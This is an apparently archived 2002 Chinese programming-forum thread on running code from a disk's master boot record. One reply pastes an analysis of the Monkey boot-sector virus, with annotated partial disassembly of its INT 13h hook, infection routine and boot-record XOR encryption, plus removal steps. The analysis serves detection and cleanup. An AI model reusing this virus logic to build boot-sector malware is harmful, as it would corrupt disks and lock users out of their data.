全國最多中醫師線上諮詢網站-台灣中醫網
發文 回覆 瀏覽次數:2202
推到 Plurk!
推到 Facebook!

請問各位高手...

答題得分者是:lcsboy
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#1 引用回覆 回覆 發表時間:2002-10-14 18:19:20 IP:163.29.xxx.xxx 未訂閱
請問各位高手, 要如何把程式灌在開機磁區, 也就是說, 程式不用經過開機程序 就能直接執行程式, 像 ProMagic 5.0 就是這樣, 可以不用啟動開機檔就能啟動 程式ㄌ, 請問要如何做ㄚ...^^
lcsboy
版主


發表:87
回覆:622
積分:394
註冊:2002-06-18

發送簡訊給我
#2 引用回覆 回覆 發表時間:2002-10-14 22:52:59 IP:210.85.xxx.xxx 未訂閱
這個問題是跟任何語言大致上是沒什麼關係的 1. 首先, BIOS在Int19後, 如果是Boot from HDD 會去找HDD的MBR 2. 修正MBR的Data...就能作出ProMagic 5.0 or SPFDisk的選項出來 然後再去跳到你程式放的位置去執行 這是個概念, 除非你要自己發展一套Boot Manager, 不然, 用別人作好的, 寫在Autoexec.bat不是又快又方便嗎? 發表人 - lcsboy 於 2002/10/14 22:53:57
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#3 引用回覆 回覆 發表時間:2002-10-15 13:34:15 IP:163.29.xxx.xxx 未訂閱
嗯~~~謝謝您的答覆, 可是再請問一下, 要如何修正 MBR ㄋ??? 還有就是像您說的把別人寫好的放在 Autoexe.Bat 檔裡, 但是這樣的話不是 還會經過一道開機程序ㄇ才能啟動程式ㄇ??? 還有一個問題就是可以不用經過 BootManeger 就能直接執行程式ㄇ???
jackkcg
站務副站長


發表:891
回覆:1050
積分:848
註冊:2002-03-23

發送簡訊給我
#4 引用回覆 回覆 發表時間:2002-10-15 13:40:49 IP:61.221.xxx.xxx 未訂閱
請自行參考 猴子病毒hd的0軌搬運大法與主機版cmos偵測
------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好

Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#5 引用回覆 回覆 發表時間:2002-10-15 13:55:43 IP:163.29.xxx.xxx 未訂閱
請問一下此書要如何取得???^^
jackkcg
站務副站長


發表:891
回覆:1050
積分:848
註冊:2002-03-23

發送簡訊給我
#6 引用回覆 回覆 發表時間:2002-10-15 14:30:57 IP:61.221.xxx.xxx 未訂閱
http://www11.brinkster.com/liuliujiajia/Monkey.htm Monkey 病毒的分析和防治 Monkey 病毒介紹: Monkey,即猴子病毒傳播硬碟和軟碟的引導區,總長度? 01F4H(500位元組),它將原引導記錄加密後保存,在系統讀出時先解密再送出,結果造成病毒不在記憶體中時,系統無法得到正常的引導記錄,以至對所有硬碟分區無法訪問。只有當從有病毒的盤?動時,才能正常訪問硬碟。如果系統有以上情況,就應懷疑有無此病毒。檢測時可以用乾淨盤?動,再用 DISKEDIT 編輯物理硬碟 0 柱面 0 磁軌 1 磁區的主引導記錄,對比以下源代碼相同偏移出的內容是否相同即可確認。 病毒源代碼分析: 1. 病毒的載入部分: 當病毒傳染了引導記錄後,系統?動時將病毒裝入記憶體執行,然後病毒將系統記憶體減少 1K,將自己隱藏在其中。 ... 0B3E:0097 CD12 INT 12 ;取記憶體容量 0B3E:0099 BE4C00 MOV SI,004C ;返回 AX = 記憶體 K 數 0B3E:009C 56 PUSH SI 0B3E:009D 2E CS: 0B3E:009E 803E6F0102 CMP BYTE PTR [016F],02 0B3E:00A3 740E JZ 00B3 ;軟碟?動轉 00B3 0B3E:00A5 E8F500 CALL 019D ;將記憶體減少 1K,見下 0B3E:00A8 BFFC01 MOV DI,01FC ;保留原 INT 13 到 01FC 0B3E:00AB B90200 MOV CX,0002 ;0000:004c -> 07c0:01fc 0B3E:00AE FC CLD 0B3E:00AF F3 REPZ 0B3E:00B0 A5 MOVSW ... ;============================================================== ;將記憶體減少 1 K ;0000:0413 處是常規記憶體的容量,把此處數值減少,系統將不會存取減少的部分 ;但這時候,用 MEM 或 MI 看記憶體,將會發現常規記憶體只有 639K,這也是大部分 ;引導區病毒的通病,所以有空一定常常用 MEM 看看記憶體(不過對大部分文件型 ;病毒和狡猾的引導區病毒無效!) 0B3E:019D 48 DEC AX ;減少 1K 0B3E:019E A31304 MOV [0413],AX 0B3E:01A1 B106 MOV CL,06 0B3E:01A3 D3E0 SHL AX,CL 0B3E:01A5 0420 ADD AL,20 0B3E:01A7 8EC0 MOV ES,AX 0B3E:01A9 C3 RET ... 0B3E:00B6 5E POP SI ;SI = 004Ch,? INT 13 中斷向量地址 0B3E:00B7 C7042000 MOV WORD PTR [SI],0020 0B3E:00BB 894402 MOV [SI 02],AX ;截取 INT 13 到 CS:0020 0B3E:00BE 0E PUSH CS 0B3E:00BF 1F POP DS 0B3E:00C0 E8E700 CALL 01AA ;駐留記憶體 0B3E:00CE 51 PUSH CX 0B3E:00CF 53 PUSH BX ... 2. 病毒的傳播部分: ;======================================================================== ; 新 INT 13 程式,位於 CS:0020 處 ;======================================================================== 0B3E:0020 1E PUSH DS 0B3E:0021 56 PUSH SI 0B3E:0022 57 PUSH DI 0B3E:0023 50 PUSH AX 0B3E:0024 51 PUSH CX 0B3E:0025 52 PUSH DX 0B3E:0026 E89901 CALL 01C2 ;硬碟 CX = 0000 軟碟 CX = 0100 0B3E:0029 80FC02 CMP AH,02 0B3E:002C 750E JNZ 003C 0B3E:002E 52 PUSH DX ;讀盤 0B3E:002F 2BC0 SUB AX,AX ;取系統時間 0B3E:0031 CD1A INT 1A 0B3E:0033 80FA40 CMP DL,40 ;可以看到病毒並不是每次讀盤讀要傳播 0B3E:0036 5A POP DX ;而是先判斷時間 0B3E:0037 7303 JNB 003C 0B3E:0039 E8A900 CALL 00E5 ;傳染 0B3E:003C 5A POP DX 0B3E:003D 59 POP CX 0B3E:003E 58 POP AX 0B3E:003F 5F POP DI 0B3E:0040 52 PUSH DX 0B3E:0041 51 PUSH CX 0B3E:0042 50 PUSH AX 0B3E:0043 83F903 CMP CX, 03 0B3E:0046 733A JNB 0082 0B3E:0048 3A34 CMP DH,[SI] 0B3E:004A 7536 JNZ 0082 ;非讀原引導區退出 0B3E:004C 80FC02 CMP AH,02 ;讀原引導區轉 005F 0B3E:004F 740E JZ 005F 0B3E:0051 80FC03 CMP AH,03 ;寫原引導區轉 0056 0B3E:0054 752C JNZ 0082 0B3E:0056 80FA80 CMP DL,80 ;寫軟碟退出 0B3E:0059 7227 JB 0082 0B3E:005B 2AE4 SUB AH,AH ;寫硬碟原引導記錄 0B3E:005D EB23 JMP 0082 ;則遮罩 ;在這兒可以看到,當病毒在記憶體中時,寫硬碟引導記錄是無效的 ;所以,這時候用 FDISK/MBR 或進行分區操作等都等於沒有操作 0B3E:005F E82E00 CALL 0090 ;讀原引導記錄 0B3E:0062 7221 JB 0085 0B3E:0064 E8F800 CALL 015F ;判傳染標誌 0B3E:0067 7408 JZ 0071 ;未傳染退出 0B3E:0069 E8FB00 CALL 0167 0B3E:006C 7403 JZ 0071 0B3E:006E F8 CLC 0B3E:006F EB14 JMP 0085 0B3E:0071 E80A01 CALL 017E ;得到原引導記錄位置 0B3E:0074 8A7401 MOV DH,[SI 01] 0B3E:0077 58 POP AX 0B3E:0078 E81500 CALL 0090 ;讀出原引導記錄 0B3E:007B E86101 CALL 01DF ;解密 0B3E:007E 59 POP CX 0B3E:007F 5A POP DX 0B3E:0080 EB06 JMP 0088 ;退出 ;從這一段可以看到,在系統讀引導記錄時,病毒先調出原來的引導記錄 ;解密後傳送給系統,但當系統中沒有病毒時,就無法得到正常的引導記錄, ;這就是?什?用乾淨的軟碟?動進不了硬碟的原因。 0B3E:0082 E80B00 CALL 0090 0B3E:0085 1F POP DS 0B3E:0086 1F POP DS 0B3E:0087 1F POP DS 0B3E:0088 5E POP SI 0B3E:0089 1F POP DS 0B3E:008A CA0200 RETF 0002 ;===================================================================== ;病毒讀盤 0B3E:008D B80102 MOV AX,0201 0B3E:0090 9C PUSHF ;病毒調用 INT 13H 0B3E:0091 2E CS: 0B3E:0092 FF1EFC01 CALL FAR [01FC] 0B3E:0096 C3 RET ;============================================================== ; 傳染副程式 ;============================================================== 0B3E:00E5 2BC9 SUB CX,CX 0B3E:00E7 41 INC CX 0B3E:00E8 51 PUSH CX 0B3E:00E9 8A34 MOV DH,[SI] 0B3E:00EB E89FFF CALL 008D ;讀出引導記錄 0B3E:00EE 7264 JB 0154 0B3E:00F0 E86C00 CALL 015F ;判病毒標誌 0B3E:00F3 745F JZ 0154 ;已傳染退出 0B3E:00F5 E86F00 CALL 0167 0B3E:00F8 7521 JNZ 011B ;已傳染 0B3E:00FA 26 ES: 0B3E:00FB 83BFFA0100 CMP WORD PTR [BX 01FA], 00 0B3E:0100 7452 JZ 0154 ;硬碟退出 0B3E:0102 26 ES: 0B3E:0103 C787FA010000 MOV WORD PTR [BX 01FA],0000 0B3E:0109 B101 MOV CL,01 ;寫病毒 0B3E:010B E84800 CALL 0156 0B3E:010E 7244 JB 0154 0B3E:0110 41 INC CX 0B3E:0111 8A7402 MOV DH,[SI 02] 0B3E:0114 E876FF CALL 008D 0B3E:0117 723B JB 0154 0B3E:0119 58 POP AX 0B3E:011A 51 PUSH CX 0B3E:011B E86000 CALL 017E ;轉換 0B3E:011E E8BE00 CALL 01DF ;加密 0B3E:0121 46 INC SI 0B3E:0122 E83100 CALL 0156 ;保存原引導記錄 0B3E:0125 4E DEC SI 0B3E:0126 722C JB 0154 0B3E:0128 E8B400 CALL 01DF ;解密 0B3E:012B 51 PUSH CX 0B3E:012C E87B00 CALL 01AA ;移動病毒到原引導區 0B3E:012F 59 POP CX 0B3E:0130 52 PUSH DX 0B3E:0131 80FA80 CMP DL,80 0B3E:0134 7302 JNB 0138 0B3E:0136 32D2 XOR DL,DL 0B3E:0138 26 ES: 0B3E:0139 8997DC00 MOV [BX 00DC],DX 0B3E:013D 5A POP DX 0B3E:013E 26 ES: 0B3E:013F 888FDA00 MOV [BX 00DA],CL 0B3E:0143 26 ES: 0B3E:0144 C787FE0155AA MOV WORD PTR [BX 01FE],AA55 0B3E:014A 59 POP CX 0B3E:014B 51 PUSH CX 0B3E:014C 26 ES: 0B3E:014D 888F6F01 MOV [BX 016F],CL 0B3E:0151 E80200 CALL 0156 ;寫病毒到引導記錄 0B3E:0154 58 POP AX 0B3E:0155 C3 RET ;=========================================================== ;保存原引導記錄 0B3E:0156 8A34 MOV DH,[SI] 0B3E:0158 B80103 MOV AX,0301 0B3E:015B E832FF CALL 0090 0B3E:015E C3 RET 0B3E:015F 26 ES: 0B3E:0160 81BFFA011992 CMP WORD PTR [BX 01FA],9219 0B3E:0166 C3 RET 0B3E:0167 26 ES: 0B3E:0168 81BF19015061 CMP WORD PTR [BX 0119],6150 0B3E:016E C3 RET ;=========================================================== ;查表得到保存原引導記錄的磁區號 0B3E:017E 57 PUSH DI 0B3E:017F 56 PUSH SI 0B3E:0180 26 ES: 0B3E:0181 8A4714 MOV AL,[BX 14] 0B3E:0184 B90400 MOV CX,0004 0B3E:0187 8BF1 MOV SI,CX 0B3E:0189 4E DEC SI 0B3E:018A 38847601 CMP [SI 0176],AL 0B3E:018E 7406 JZ 0196 0B3E:0190 E2F5 LOOP 0187 0B3E:0192 B103 MOV CL,03 0B3E:0194 EB04 JMP 019A 0B3E:0196 8A8C7A01 MOV CL,[SI 017A] 0B3E:019A 5E POP SI 0B3E:019B 5F POP DI 0B3E:019C C3 RET ... ;================================================================ ;加密/解密原引導記錄,從這一段可以看到,病毒只是把原引導記錄簡單 ;的和 2E 進行異或,所以即使不慎用 FDISK/MBR 把病毒破壞掉了,也可以 ;手工簡單的將引導記錄解密 0B3E:01DF 57 PUSH DI 0B3E:01E0 51 PUSH CX 0B3E:01E1 50 PUSH AX 0B3E:01E2 8BFB MOV DI,BX 0B3E:01E4 B90002 MOV CX,0200 0B3E:01E7 FC CLD 0B3E:01E8 26 ES: 0B3E:01E9 8A05 MOV AL,[DI] 0B3E:01EB 342E XOR AL,2E 0B3E:01ED AA STOSB 0B3E:01EE E2F8 LOOP 01E8 0B3E:01F0 58 POP AX 0B3E:01F1 59 POP CX 0B3E:01F2 5F POP DI 0B3E:01F3 C3 RET 殺毒要點: 1. 記憶體中的病毒最好用查找字串的方法,如果找到特徵字串,可以把病毒中 INT 13H 傳染部分的有關代碼跳過,假設已找到病毒的記憶體段位址在 DS 中: mov word ptr ds:[0020h],0ff2eh mov word ptr ds:[0022h],0fc2eh mov byte ptr ds:[0024h],1 mov word ptr ds:[01d0h],0 2. 磁片中的病毒,可以先讀出有病毒的引導記錄,再在病毒體中的 00DA 中得到原引導記錄的磁區號,在 00DC 中的到磁頭號,再讀出加密過的原引導記錄,解密後再寫如引導區如下: xor ch,ch ;read out old boot area mov cl,byte ptr file_exec 0dah mov dx,word ptr file_exec 0dch call read_disk ; call monkey_decode ;de-code it call write_to_boot ... 發表人 - jackkcg 於 2002/10/15 14:32:57
------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好

Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#7 引用回覆 回覆 發表時間:2002-10-15 19:59:35 IP:163.29.xxx.xxx 未訂閱
嗯, 謝謝您的答覆, 不過本人還是對如何在開機檔案執行前執行其他程式感到一絲不解...^^
lcsboy
版主


發表:87
回覆:622
積分:394
註冊:2002-06-18

發送簡訊給我
#8 引用回覆 回覆 發表時間:2002-10-16 15:02:43 IP:210.63.xxx.xxx 未訂閱
MBR 位於HDD的最前面, 就是第0磁區的第0軌 長度是512 Bytes. 1. BIOS在INT19決定要從HDD開機時, 會將MBR整塊Copy到 0000:7C00的地方 2. BIOS jmp 0000:7C00    Therefore, 把你的程式....或是寫一個程式(會Jmp到你的執行檔)放在 MBR的最前面就行啦..    可以用Int 13h來實作    希望能幫上你的忙....如果實作成功, 方便的話, 也請分享一下下吧
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#9 引用回覆 回覆 發表時間:2002-10-17 09:45:32 IP:163.29.xxx.xxx 未訂閱
謝謝您的答覆, 可是要本人對組合語言完全不熟, 有其他方法ㄇ???^^ 還有就是要如何知道 Bios 開機之後會做那些事ㄋ???像您剛說的 Bios int19h 會做什ㄇ事情還有其他類似這樣的動作要如何取得相關資訊ㄋ???^^
lcsboy
版主


發表:87
回覆:622
積分:394
註冊:2002-06-18

發送簡訊給我
#10 引用回覆 回覆 發表時間:2002-10-18 01:23:03 IP:210.85.xxx.xxx 未訂閱
BIOS的INT19h, 就是BIOS作完自己所有的事, 然後把控制權交由OS    如果組語不熟 <--------- 神仙也沒辦法 @@    工欲善其事, 必先立其器. 每種程式語言有它的適用範圍, 你有看過有人拿JAVA來寫BIOS的嗎!?  > 實在不懂你的動機為何!? 如果只是好奇
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#11 引用回覆 回覆 發表時間:2002-10-18 08:40:35 IP:163.29.xxx.xxx 未訂閱
呵呵呵^^... 因為我從來做過這樣的程式, 想親身體驗看看... 那我要學那些東西ㄋ???請多多指教^^
lcsboy
版主


發表:87
回覆:622
積分:394
註冊:2002-06-18

發送簡訊給我
#12 引用回覆 回覆 發表時間:2002-10-18 11:41:56 IP:210.63.xxx.xxx 未訂閱
這個話題已經不在這個討論區的範圍內了.....但還是告訴你一些方向    1. 去買本組合語言的書K一K 2. 準備一顆超小Size的HDD, 裡面只要用DOS Format c:/s 就好了(別問我說要不要裝WinXP之類的 >
jackkcg
站務副站長


發表:891
回覆:1050
積分:848
註冊:2002-03-23

發送簡訊給我
#13 引用回覆 回覆 發表時間:2002-10-18 11:53:08 IP:61.221.xxx.xxx 未訂閱
古早前施威銘的書看到了, 也許絕版 ********************************************************************* LINUX上有請自行找一找 有關開機啟動程式
------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好

Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#14 引用回覆 回覆 發表時間:2002-10-19 15:43:45 IP:163.29.xxx.xxx 未訂閱
嗯好吧~~~不過應該粉難找到吧...^^
jackkcg
站務副站長


發表:891
回覆:1050
積分:848
註冊:2002-03-23

發送簡訊給我
#15 引用回覆 回覆 發表時間:2002-10-19 16:29:15 IP:61.221.xxx.xxx 未訂閱
不會很難找 只是看的懂與不懂是很難啦 國人自製的spfdisk也是參考Linux的方式自己撰寫的 Linux又是開放源始碼所以請自行依據 LiLo(多重開機程式)就可以了 以目前組語網站應該找不到 Linux是最佳參考資源 努力 加油
------
**********************************************************
哈哈&兵燹
最會的2大絕招 這個不會與那個也不會 哈哈哈 粉好

Delphi K.Top的K.Top分兩個字解釋Top代表尖端的意思,希望本討論區能提供Delphi的尖端新知
K.表Knowlege 知識,就是本站的標語:Open our mind
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#16 引用回覆 回覆 發表時間:2002-10-20 08:46:45 IP:163.29.xxx.xxx 未訂閱
謝謝各位指導囉...^^
dllee
站務副站長


發表:321
回覆:2519
積分:1711
註冊:2002-04-15

發送簡訊給我
#17 引用回覆 回覆 發表時間:2002-10-20 12:10:59 IP:203.204.xxx.xxx 未訂閱
引言: 請問各位高手, 要如何把程式灌在開機磁區, 也就是說, 程式不用經過開機程序 就能直接執行程式, 像 ProMagic 5.0 就是這樣, 可以不用啟動開機檔就能啟動 程式ㄌ, 請問要如何做ㄚ...^^
對不起,我來插一下嘴 您想要的程式應該不是 > 如果您的程式是 > ) 關於 ><>< src="http://delphi.ktop.com.tw/loadfile.php?TOPICID=6939849&CC=155211">
C及指標教學,計算機概論,資訊管理導論... http://coolsite.to/dllee 介紹Shells,LiteStep,GeoShell.... http://coolsite.to/ushells
------
http://www.ViewMove.com
Kyoko
一般會員


發表:1
回覆:8
積分:1
註冊:2002-10-12

發送簡訊給我
#18 引用回覆 回覆 發表時間:2002-10-20 13:54:50 IP:163.29.xxx.xxx 未訂閱
謝謝您的發表... 我只好努力ㄌ...^^
系統時間:2024-04-27 13:02:19
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!